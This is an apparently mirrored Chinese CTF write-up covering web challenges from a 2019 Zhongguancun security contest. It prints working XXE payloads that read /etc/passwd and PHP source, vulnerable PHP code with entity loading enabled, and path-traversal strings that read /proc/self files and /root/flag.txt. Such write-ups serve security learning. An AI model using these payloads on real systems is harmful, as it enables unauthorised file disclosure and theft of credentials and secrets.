2

中关村第三届新兴领域专题赛网络与信息安全领域专项赛Web_WP

 2 years ago
source link: https://cyc1e183.github.io/2019/08/15/%E4%B8%AD%E5%85%B3%E6%9D%91%E7%AC%AC%E4%B8%89%E5%B1%8A%E6%96%B0%E5%85%B4%E9%A2%86%E5%9F%9F%E4%B8%93%E9%A2%98%E8%B5%9B%E7%BD%91%E7%BB%9C%E4%B8%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E9%A2%86%E5%9F%9F%E4%B8%93%E9%A1%B9%E8%B5%9BWeb-WP/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x01 Game

这题迷得很,查看下一下js,按着ajax发送请求得条件自己发一个请求就好了

payload:

/socre.php
POST:score=15

0x02 who_are_you

XXE的题目,没有任何限制,直接任意文件读取……

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

可以读到passwd的信息,所以主要就是找到flag就好了,最后是在index.php里找到了flag,由于php文件里有<等特殊字符,所以利用file协议读的时候会出现解析错误导致没有回显,所以换一个编码的协议读就好了比如php://filter

<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<root>
<name>&xxe;</name>
</root>

index.php源码

<?php
libxml_disable_entity_loader(false);
$data = @file_get_contents('php://input');
$resp = '';
//$flag='flag{1900cb98-96c4-45ac-a22e-86da06d59a3e}';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
$res = $dom->textContent;
$resp = ob_get_contents();
ob_end_clean();
if ($res){
die($res);
}

}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>welcome</title>
<link rel="stylesheet" href="./style.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

</head>
<body class="contactBody">
<div class="wrapper">
<div class="title">


</div>


<form method="post" class="form">
<h1 id="title">请输入姓名</h1>
<br/>
<br/>
<br/>
<input type="text" class="name entry " id="name" name="name" placeholder="Your Name"/>
</form>
<button class="submit entry" onclick="func()">Submit</button>

<div class="shadow"></div>
</div>

</body>
</html>
<script type="text/javascript">
function play() {
return false;
}
function func() {
// document.getElementById().value
var xml = '' +
'<\?xml version="1.0" encoding="UTF-8"\?>' +
'<feedback>' +
'<author>' + document.getElementById('name').value+ '</author>' +
'</feedback>';
console.log(xml);
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
// console.log(xmlhttp.readyState);
// console.log(xmlhttp.responseText);
var res = xmlhttp.responseText;
document.getElementById('title').textContent = res
}
};
xmlhttp.open("POST", "index.php", true);
xmlhttp.send(xml);
return false;
};
</script>
</body>
</html>

0x03 show_me_your_image

主要思路就是上传文件,上传文件后。文件名会被编码,多测几次就可以发现是一个变表的base64编码,base64编码是固定3个字符编码为固定的4个字符,题目的还有一个点就是任意文件读取,name参数后跟任意文件的变表编码的值,所以根据上传的文件名进获取对应的编码,所以上传的文件名需要构造,文件名的长度需要是3的倍数才能确定最后的文件名,并且随便输入的报错信息不是apache+php的,最后才确定是一个Flask模拟的php,骗人用的~

所以现在讲下具体操作步骤:

  • 设置要读的文件(比如要读的是passwd文件),设置上传的文件名为’../.././/etc/passwd’(测试可以发现是2层目录,长度要是3的倍数)
  • 分段进行上传,收集各段的编码后的字符进行拼接,比如axb8axb8axnVSml8jmNBjUS9
  • 访问img.php?name=[文件编码后的编码]就可以读取到相应的文件

所以接下来就是找flag的路径,由于我们不知道各个文件的路径,所以用/proc/self/来仅需读取

../../././proc/self/cmdline   #可以读到当前服务为app.py
#python3 app.py sleep 36000
../..//proc/self/cwd/app.py  #可以读到本题的源码
#####################################
import os
from urllib import parse
from base64 import b64decode, b64encode
from utils import r_encode, r_decode, read_file
from flask import render_template, Response
from flask import Flask, session, redirect, request
from werkzeug.utils import secure_filename

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(24)

UPLOAD_FOLDER = '/tmp/uploads/'

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER


def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS


@app.route('/')
@app.route('/index.php')
def home():
file = session.get('file')
if file:
file = bytes.decode(file)
file = parse.quote(file)
return render_template('index.html', file=file)


@app.route('/upload.php', methods=['POST'])
def upload():
if request.method == 'POST':
file = request.files['file']
if file and allowed_file(file.filename):
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.makedirs(app.config['UPLOAD_FOLDER'])
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
else:
return "不允许的格式"
session['file'] = r_encode(b64encode(str.encode(file.filename)))
return redirect('/')


@app.route('/img.php', methods=['GET'])
def img():
file = request.args.get("name")
file = r_decode(str.encode(file))
file = b64decode(file)
file = UPLOAD_FOLDER + bytes.decode(file)
image = read_file(file)
return Response(image, mimetype="image/jpeg")


if __name__ == '__main__':
app.run(
host = '0.0.0.0',
port = 80,
)
../../././proc/self/cwd/templates/upload.html  
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<table>
<tr>
<td>
上传图片
</td>
<td>
<input type="file" name="file">

</td>
</tr>
</table>
<input type="submit" value="上传">
</form>
{% if file %}
<img src="img.php?name={{ file }}">
{% else %}
请上传一张图片
{% endif %}
</body>
</html>
<!-- flag in /root/flag.txt ! Get it ! -->

所以flag在/root/flag.txt下了最后利用

../.././proc/self/root/root/flag.txt     #读flag

0x04 按F注入

fbctf2019题目的修改题,目前只做到了回显数据库信息,还没读到flag,等复现完再写
参考:https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK